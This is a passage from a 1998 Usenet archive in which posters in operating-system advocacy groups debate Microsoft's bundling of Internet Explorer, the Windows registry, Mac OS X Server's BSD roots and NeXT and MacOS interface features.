E-mail: guyt@is.twi.tudelft.nl fax: +31 15 278 6632
From: sxr@spam.hotmail.com (Sam)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 13:22:42 GMT
Organization: Magna Data - Internet Solutions Provider
Message-ID: <36815279.11525103@news.magna.com.au>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl>
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On Thu, 17 Dec 1998 23:40:39 +0100, Pascal Haakmat
<ahaakmat@cable.a2000.nl> wrote:
>
>
>Jason McNorton wrote:
>
>> Because Microsoft has "won" and everyone in the computer industry hates
>> the "guy on top".
>
>How quaint this will sound in twenty years.
Remember 1995, when Netscape was on top in browser software?
Many many prominent commentators were saying that Microsoft was
finished as a major force. No company had EVER been able to turn
around when a paradigm shift had occurred.
Well they were totally and utterly wrong, Microsoft turned around and
beat Netscape using the same techniques Netscape was using against
Microsoft.
Yes Microsoft gave away it's browser for free, but who actually paid
for Netscape ? I used Netscape since it had the M instead of the N
logo and I never paid for it. it was always available free on the net
from Netscape.com. I switched to IE at version 4 because it was
better, no other reason.
There was a free CD in a computer magazine the other day, it had the
FULL LATEST version of IBM Smartsuite, no crippleware, no timebombs,
nothing. They asked you to buy it if you liked it. Microsoft Office is
still killing Smartsuite, you can legally buy Smartsuite for bugger
all. It's OEM price must be $5 judging by the giveaways.
The only thing Microsoft is guilty of is being too successful.
Sam
From: sxr@spam.hotmail.com (Sam)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 13:40:38 GMT
Organization: Magna Data - Internet Solutions Provider
Message-ID: <36835b3a.13766683@news.magna.com.au>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <3679FC2B.8BBCB160@solarsystems.com>
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On Fri, 18 Dec 1998 06:56:19 GMT, Douglas Lee Hendrix
<hendrix@solarsystems.com> wrote:
>Boris wrote:
>
>> A collegue at work compared this with Ford shipping cars with radio, so that consumers
>> could decide and insert radio of their choice. I agree that it's applicable comparison.
>> It's fact of life that software development becomes priviledge of large companies,
>> Microsoft the biggest one.
>> At the beginning of 20th century there where scores of small automobile manufacturers.
>> They all disappered; instead we have monstrous car "empires". Why should software be much
>> different?
>
>Software is different because the overhead for developing it is low. If you
>want to manufacture automobiles, you need to buy a big plant and hire lots
>of union workers. If you want to create a clone of MS Office, you just get
>together with your 3 closest friends and buy lots of Pizza and Coke for a
>year and don't sleep . . . Well, maybe more than 1 year.
<snip>
>As long as smart and industrious programmers have access to computers
>with compilers on them, there will always be small inovative startups no
>matter what Microsoft does. The question really becomes, if the DOJ
>doesn't come down hard, can anybody seriously compete and make money
>on a windows product in a market that Microsoft takes seriously.
That is exactly the reason that Microsoft should be left alone by the
DOJ. Microsoft is in a very unstable market, it has to be very
aggressive to survive. They have to constantly compete with new
technologies like Java, network computers and now Linux (yea right)
which could destroy their franchise over a very short period.
The "only the paranoid survive" motto from the head of Intel is
extremely apt.
Sam
From: David Griffiths <dgriff@hursley.ibm.com>
Newsgroups: comp.sys.mac.advocacy,misc.invest.stocks,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Net '94 = Linux '99
Date: Fri, 18 Dec 1998 13:40:19 +0000
Organization: Primitive Software Ltd.
Message-ID: <367A5B43.D66D5403@hursley.ibm.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <B6DC2A2A2680901E.344457EA9C0EB739.05181CE8B041105B@library-proxy.airnews.net>
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Sheldon Gartner wrote:
> (2) Acorn's RiscOS GUI.
>
> I don't know much about that OS, but it's supposed to have a nice GUI.
> Unfortunately for it, it has, like, zero market share outside of the
> UK. So there is every _logical_ reason to contribute its GUI to Linux,
> but I don't know how difficult it would be techwise or businesswise.
Utterly out of the question. Huge parts of the GUI are written in
_assembler_ and it's completely tied to its very peculiar non-Unix OS.
Dave
Date: Fri, 18 Dec 1998 09:13:17 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <joe.ragosta-1812980913170001@wil130.dol.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com>
In article <75coq4$hfr@news1.panix.com>, sal@panix.com wrote:
> On 17 Dec 98 19:28:35 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >On Wed, 16 Dec 1998 05:19:28, sal@panix.com (Sal Denaro) thought
> >aloud:
> >> Just because a market exists, doesn't mean that it is cost effective
for Apple
> >> (or anyone else) to build for it.
> >No, but surely you aren't going to deny the potential to make at least
> >a few million new Apple customers. ;-) For all I know Apple has pretty
> >complete arsenal of worthy tools to offer (YB, QTML) and little to
> >lose in trying to create a new Apple market in that space.
>
> It is a question of opportunity costs. Sure, betting on a long shot will
> pay big if it comes in, the question is "how often will it come in?"
> The less cash you have, the worse it is to bet on longshots.
I'm not taking sides in this argument, but I wanted to point out that cash
is _not_ one of Apple's problems. Over $2 billion last time I checked.
--
Regards,
Joe Ragosta
joe.ragosta@dol.net
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Cc: chuck@codefab.com
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net>
<F42G8I.AMz@T-FCN.Net> <759lt1$g7b$1@hecate.umd.edu>
<75c1p7$h34$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Fri, 18 Dec 1998 15:05:36 GMT
In <75c1p7$h34$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> Actually, MOXS appears to be more closely derived from OpenBSD, since it
> inherited a bug in the field names of a struct timespec (since fixed).
Maybe it really is half and half, there's definitely Net stuff in there.
While on the topic, is there any hope in the future of these efforts
becomeing more streamlined? Having three is dumb, notably when you
consider that the majority of the differences come down to what would
normally be branches on a CVS tree.
Maury
From: westprog@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Registry Synchronization?
Date: Fri, 18 Dec 1998 15:28:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75dsas$15t$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <758bsk$bic$1@nnrp1.dejanews.com> <75906j$mpl$1@inconnu.isu.edu>
In article <75906j$mpl$1@inconnu.isu.edu>,
ink@inconnu.isu.edu (Craig Kelley) wrote:
> In article <758bsk$bic$1@nnrp1.dejanews.com>,
> <westprog@my-dejanews.com> wrote:
>
> ->This is of course the main advantage of a registry. Suppose that you install
> ->a new application on your system, or add a device, and the system stops
> ->working correctly. The registry can be rolled back to the point before the
> ->installation, and all the settings restored. The user settings can be easily
> ->ported between different machines, while common hardware setups can be
> ->duplicated independently. To me, this seems to be an obvious solution.
>
> I love all these 'supposed' benefits of the registry that you guys
> keep on coming up with. When, if ever, is this actually _used_ in a
> real-world situation? If your video card drivers die on you then you
> can boot up in VGA mode. If your video card drivers work, then you
> can simply fix the problem after the system is up and running.
By changing what? The point of a registry is that you know exactly what
changes have been made.
> ->The Unix alternative - a huge array of assorted files in assorted formats in
> ->various directories - doesn't seem to be an attractive alternative. What do
> ->you do when the system stops working properly?
>
> It doesn't! I don't mean any disrespect, but UNIX systems do not
> mysteriously stop working (aka "the desktop rust effect" that both
> Macs and Windows machines suffer from) after so many days. If you
> compile a kernel that doesn't work with your hardware, simply boot up
> with your previous kernel image (LILO does this for Linux machine).
> If your kernel boots up, then you can fix whatever problem while the
> system is live or in single-user mode.
As I am working on a Unix system right now, I know that users are constantly
having problems which need fixing. Unix rarely crashes, but it can easily
arrive at a state where it is impossible to get work done.
> ->The use of a database-type format, rather then a text file, makes corruption
> ->of the registry vastly less likely. If a situation arose where the registry
> ->was seriously corrupted (rather than simply having incorrect data entered)
> ->the likely cause would be sufficient to hose the disk under any
> ->circumstances.
>
> That is all pointless if the information contained in the registry is
> world-writtable and screwed up by various incartations of
> InstallShield and other such nonsense. Take a look at the "Anti-Linux
> FUD" thread in these newsgroups to see how this has been hashed out
> there.
The answer to this is not to make everything writeable by an ad hoc assembly
of text editors - the answer is to impose a sensible discipline on the
registry. It is an advantage of the registry that while Installshield (in its
various 'incartations') can overwrite records in the registry, it can only do
so via an API which prevents it affecting any other records.
I can think of lots of ways of improving a registry. Splitting it up into a
large number of text files, in a number of different locations, with a lot of
different formats, would not be one of them.
> There are at least 3 disadvantages to using the registry for every
> supposed advantage.
Ah, but the advantages are 5 times as important as the disadvantages.
> Craig Kelley
--
J.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 15:39:13 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367a7540.41357248@news2.asan.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au>
On Fri, 18 Dec 1998 13:22:42 GMT, in comp.os.ms-windows.advocacy
sxr@spam.hotmail.com (Sam) wrote:
>I switched to IE at version 4 because it was
>better, no other reason.
Isn't IE 4 just awesome! I *love* that full screen mode. I set the
address bar to auto-hide and I've got 100% web on my screen. It's a
fantastic interface.
I'm was very surpised to learn that Communicator didn't have a full
screen mode. I was also surprised to find it far less configurable
that IE.
From: kcci1@central.susx.ac.uk (Alan L.M. Buxey)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 18 Dec 1998 14:50:57 GMT
Organization: Department Of Amiga Studies (DOAS)
Message-ID: <75dq4h$5gl$15@infa.central.susx.ac.uk>
References: <3679789f.27413999@news2.asan.com>
On Thu, 17 Dec 1998 21:37:39 GMT ,Willy posted the following:
: Linux distributions have browsers on them. MacOS 8.x ships with two
: browsers. And I'd bet that Be and various Unix OSes now ship with
: browsers. So why can MS ship a browser with Windows? Why is everyone
: else allowed to ship Navigator with their OS but Microsoft can't ship
: IE?
because 1) the browsers are made by other people
mainly 2) the browser is integrated into the OS too closely
alan
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 15:43:24 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367a77c4.42001514@news2.asan.com>
References: <3679789f.27413999@news2.asan.com> <367A0254.DE226DB0@trilithon.com>
On Thu, 17 Dec 1998 23:20:52 -0800, in comp.os.ms-windows.advocacy
Henry McGilton <henry@trilithon.com> wrote:
>Willy wrote:
>
> * Linux distributions have browsers on them. MacOS 8.x ships
> * with two browsers. And I'd bet that Be and various Unix OSes
> * now ship with browsers. So why can MS ship a browser with
> * Windows? Why is everyone else allowed to ship Navigator with
> * their OS but Microsoft can't ship IE?
>Now please explain: what has this issue to do with Computer Systems
>Next Advocacy? Really --- we are supposed to be a group advocating
>Next computers and software. Where precisely do Micro$oft and
>Internet Exploder fit into this picture?
Not much. I'll be sure to leave out your group next time.
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Organization: needs one
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
<3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
<3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com>
<3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
<756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com>
<slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net>
<slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <36793872.1759FF5@nstar.net>
<367a3354.0@stan.astra.co.uk>
Mime-Version: 1.0
Date: Fri, 18 Dec 1998 15:56:55 GMT
In <367a3354.0@stan.astra.co.uk> mmalcolm crawford wrote:
> > I want what I like about NeXTstep: the development libraries and
> > frameworks. I want them on Linux.
Odd that he should say that, because only yesterday he noted...
"On the other hand I was assured by people that these were shortcomings
which paled against the quality of the development environment, *which I
never used*."
It's from message....
http://x2.dejanews.com/getdoc.xp?AN=423304790&CONTEXT=913996351.1392640103&h
itnum=0
I'm sure I'll be flamed for this, and he'll claim that's not what he
said, but everyone should go take a look for themselves and see that the
above portion is indeed in context.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X and file associations, etc.
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Cc: spagiola@my-dejanews.com
Organization: needs one
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com>
<distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com>
<F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com>
<F44q5H.AL@T-FCN.Net> <75c95q$nfr$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Fri, 18 Dec 1998 16:04:11 GMT
In <75c95q$nfr$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> I know we've had several arguments over the years about how good NeXT's UI
> is. While not wishing to quarrel with your tastes, may I suggest that at
> least some of your criticism may derive from not noticing some of the
> tools that this UI offers you, as in this instance?
You missed the point - the fact that this is a hidden feature makes it a
*bad* feature. Hidden features are, by definition, bad. Yet many of my
complaints about the interface had been "solved" by hidden features, and
then that hidden feature is used as a justification to tell me I don't know
what I'm talking about.
> perfect, but at least IMHO it is better than many people unfamiliar with
> it give it credit.
I suppose that may be true, but if you're attempting to claim that I fall
into that group, then you're the one that unfamiliar with "it".
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXT UI on MacOS 8.x
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Cc: distler@golem.ph.utexas.edu
Organization: needs one
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F42F6F.A62@T-FCN.Net>
<759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net>
<75bfr1$5mh$1@crib.corepower.com> <F44qD6.Fy@T-FCN.Net>
<distler-1712981622090001@cheshire.ph.utexas.edu>
Mime-Version: 1.0
Date: Fri, 18 Dec 1998 16:06:22 GMT
In <distler-1712981622090001@cheshire.ph.utexas.edu> Jacques Distler wrote:
> Isn't that (sorta) the way "clippings" work under the current MacOS?
In a way, yes. The exception is that no clipping is ever placed on the
clipboard. That is if you do...
> Highlight a block of text. Drag it to the desktop. It becomes a little
> "text clipping" icon.
You cannot now go into another application and Paste. The idea here is
that the pasteboard and the clippings, and the scrapbook, become one and
the same.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X and file associations, etc.
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Cc: jhendry@shrike.depaul.edu
Organization: needs one
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com>
<distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com>
<F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com>
<F44q5H.AL@T-FCN.Net> <75c95q$nfr$1@nnrp1.dejanews.com>
<3679b2bd.0@news.depaul.edu>
Mime-Version: 1.0
Date: Fri, 18 Dec 1998 16:04:52 GMT
In <3679b2bd.0@news.depaul.edu> Jonathan W Hendry wrote:
> I take it that, where the Inspector says 'Double-click to open the
> selected
> document(s)', you thought that referred to double-clicking on the
> file icon in the Viewer, and not the app icon in the inspector?
Yes.
Maury
Message-ID: <367A7F1A.3AF36F83@home.com>
From: Ari <arikounavis@home.com>
Organization: I don't even have a watch
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS joke: really funny 8-)
References: <75dh1j$r08$1@news.tudelft.nl>
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Date: Fri, 18 Dec 1998 16:13:22 GMT
NNTP-Posting-Date: Fri, 18 Dec 1998 08:13:22 PDT
The gui was nonresponsive, it ran slow, and it froze my browser. Its the
perfect MacOS emulator!
:) j/k take it easy.
ari
Abraham Guyt wrote:
>
> Hi all,
>
> For everyone having a windows machine with internet explorer; check the
> URL below, its the nicest URL i've ever seen:
>
> http://www.bln.de/yaro/macos/
>
> Have fun,
> Abraham G.
> ______________________________________________________________
> Abraham Guyt P.O.Box 356
> Department of Information Systems 2600 AJ Delft
> Faculty Information Technology & Systems The Netherlands
> Delft University of Technology tel: +31 15 278 5969
> E-mail: guyt@is.twi.tudelft.nl fax: +31 15 278 6632
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 18 Dec 1998 16:46:44 GMT
Organization: Primenet (602)416-7000
Message-ID: <75e0tk$9hg$1@nnrp02.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <SCOTT.98Dec16115145@slave.doubleu.com> <75aps6$csu$1@bartlet.df.lth.se> <joe.ragosta-1712980910140001@elk85.dol.net> <75dg7g$5nv$1@bartlet.df.lth.se>
Christian Brunschen <cb@bartlet.df.lth.se> wrote:
: * assuming that Apple will be smart and a) ship the runtime for free, and
: b) sell the development tools for every platform where the runtime
: works: Apple will sell the development tools to developers who are on
: compliant Unices, but who might not otherwise buy any Apple products.
: This generates money for Apple
This sounds like a workable plan, and one which would help Apple gain a
higher profile ... but it doesn't seem like what they have been doing. The
whole "MacOS X is not a UNIX" thing combined with Apple's indifference to
MacOS X Server on Intel says that they are heading to the consumer systems
space. I don't see "compliant Unices" being part of the landscape.
It is interesting to consider in retrospect what might have come of Apple
not swallowing NeXT, but operating it as a wholly owned subsidiary. If
such a subsidiary had been tasked with producing a powerful and
inexpensive OS for Apple and other hardware ... <insert dream here>
John
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 21:17:43 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77jpbn.7n3.jedi@dementia.mishnet>
References: <3679789f.27413999@news2.asan.com> <75bud6$g2g$1@news.erinet.com> <36798c84.32506311@news2.asan.com>
On Thu, 17 Dec 1998 22:59:44 GMT, Willy <willy1@rocketmail.com> wrote:
>On Thu, 17 Dec 1998 16:46:13 -0500, in comp.os.ms-windows.advocacy
>"Brian Lewis" <brianl@erinet.com> wrote:
>
>>I'd imagine if Microsoft were to ship IE and Netscape, there wouldn't be a
>>issue.
>
>Is Netscape going to pay Microsoft a royalty with every copy of
>Windows sold? That could very well ruin Netscape. However, they
>certainly don't deserve a free ride either.
What's good for the goose is good for the gander.
One free ride deserves another & another...
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 21:16:37 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77jp9l.7n3.jedi@dementia.mishnet>
References: <3679789f.27413999@news2.asan.com>
On Thu, 17 Dec 1998 21:37:39 GMT, Willy <willy1@rocketmail.com> wrote:
>Linux distributions have browsers on them. MacOS 8.x ships with two
>browsers. And I'd bet that Be and various Unix OSes now ship with
>browsers. So why can MS ship a browser with Windows? Why is everyone
>else allowed to ship Navigator with their OS but Microsoft can't ship
>IE?
...they can ship Netscape, Opera or whomever else
wants to get on board just like the Win95/MSN/DOJ
matter...
Also, none of the other OSes that bundle browsers
do so in such a fashion that you need to shred the
OS with it to remove it (the browser).
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
Message-ID: <367A87F4.ECBD2BBC@klassy.com>
Date: Fri, 18 Dec 1998 08:51:00 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com>
Content-Type: text/plain; charset=us-ascii
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And yet I can still use non dodge stero systems in my dodge truck. Yet I can not realy use
Netscape in Win 98, I can install and run it but I'm still going to be using IE4.
Boris wrote:
> A collegue at work compared this with Ford shipping cars with radio, so that consumers
> could decide and insert radio of their choice. I agree that it's applicable comparison.
> It's fact of life that software development becomes priviledge of large companies,
> Microsoft the biggest one.
> At the beginning of 20th century there where scores of small automobile manufacturers.
> They all disappered; instead we have monstrous car "empires". Why should software be much
> different?
>
> Boris
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: Fri, 18 Dec 1998 10:44:53 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-1812981045280001@192.168.0.1>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F42F6F.A62@T-FCN.Net> <759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net> <75bfr1$5mh$1@crib.corepower.com> <F44qD6.Fy@T-FCN.Net> <distler-1712981622090001@cheshire.ph.utexas.edu> <F464qn.KDo@T-FCN.Net>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <F464qn.KDo@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <distler-1712981622090001@cheshire.ph.utexas.edu> Jacques Distler wrote:
>> Isn't that (sorta) the way "clippings" work under the current MacOS?
>
> In a way, yes. The exception is that no clipping is ever placed on the
>clipboard. That is if you do...
>
>> Highlight a block of text. Drag it to the desktop. It becomes a little
>> "text clipping" icon.
>
> You cannot now go into another application and Paste. The idea here is
>that the pasteboard and the clippings, and the scrapbook, become one and
>the same.
You can't "paste" the text into another application, but you sure can drag
it into another application. Just as good as pasting, except you use the
mouse instead of command-p.
What's the diff?
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 17:12:19 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367a8c8c.47321204@news2.asan.com>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <367A87F4.ECBD2BBC@klassy.com>
On Fri, 18 Dec 1998 08:51:00 -0800, in comp.os.ms-windows.advocacy
Josiah Fizer <mib@klassy.com> wrote:
>And yet I can still use non dodge stero systems in my dodge truck. Yet I can not realy use
>Netscape in Win 98, I can install and run it but I'm still going to be using IE4.
No; you're going to be using Navigator. The only time you will use IE
is when the OS needs something that Navigator can't give it.
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 18 Dec 1998 12:36:42 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <75e3ra$8nj$1@crib.corepower.com>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <distler-1712981622090001@cheshire.ph.utexas.edu> <F464qn.KDo@T-FCN.Net> <distler-1812981045280001@192.168.0.1>
NNTP-Posting-Date: 18 Dec 1998 17:36:49 GMT
In article <distler-1812981045280001@192.168.0.1>, distler@golem.ph.utexas.edu (Jacques Distler) wrote:
> You can't "paste" the text into another application, but you sure can drag
> it into another application. Just as good as pasting, except you use the
> mouse instead of command-p.
> What's the diff?
That you have to use the mouse instead of Command-p (not a minor issue
to me; I use keyboard shortcuts for everything), that there are two
different ways of doing basically identical tasks, and no way to inspect
the graphically inspect the contents of a pasteboard.
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 18 Dec 1998 12:40:15 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <75e41v$8ob$1@crib.corepower.com>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <F44q5H.AL@T-FCN.Net> <75c95q$nfr$1@nnrp1.dejanews.com> <F464Mz.KC4@T-FCN.Net>
NNTP-Posting-Date: 18 Dec 1998 17:40:23 GMT
In article <F464Mz.KC4@T-FCN.Net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <75c95q$nfr$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> You missed the point - the fact that this is a hidden feature makes it a
> *bad* feature.
But it isn't a hidden feature. I didn't read the manual to discover it;
I just read the directions in the inspector panel. Maybe it's a _badly
worded_ feature (since apparently some people misinterpret its meaning,
which is understandable given its wording).
I think that a lot of features should be moved into context menus, though,
like a submenu of apps that can open a file when you right-click on it.
From: "Mark" <ubercat@m3.sprynet.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 12:36:36 -0500
Organization: Sprynet News Service
Message-ID: <75e3n7$evj$1@juliana.sprynet.com>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <3679FC2B.8BBCB160@solarsystems.com> <75ddkk$knj$1@nnrp1.dejanews.com>
If Netscape could ship a browser with a feature-set comparable to MS's I
would welcome it bundled, or I would pay for it. The fact is they haven't,
and apparently they can't. MS's OS's aside, some of their applications are
best of breed like it or not. I used to hate I.E. 4, in fact I bashed it
every chance I got. But then somewhere along the way I did three things;
1) I tried every other browser I could find.
2) I grew up.
3) I realized that the browser is just a means to an end...web browsing. If
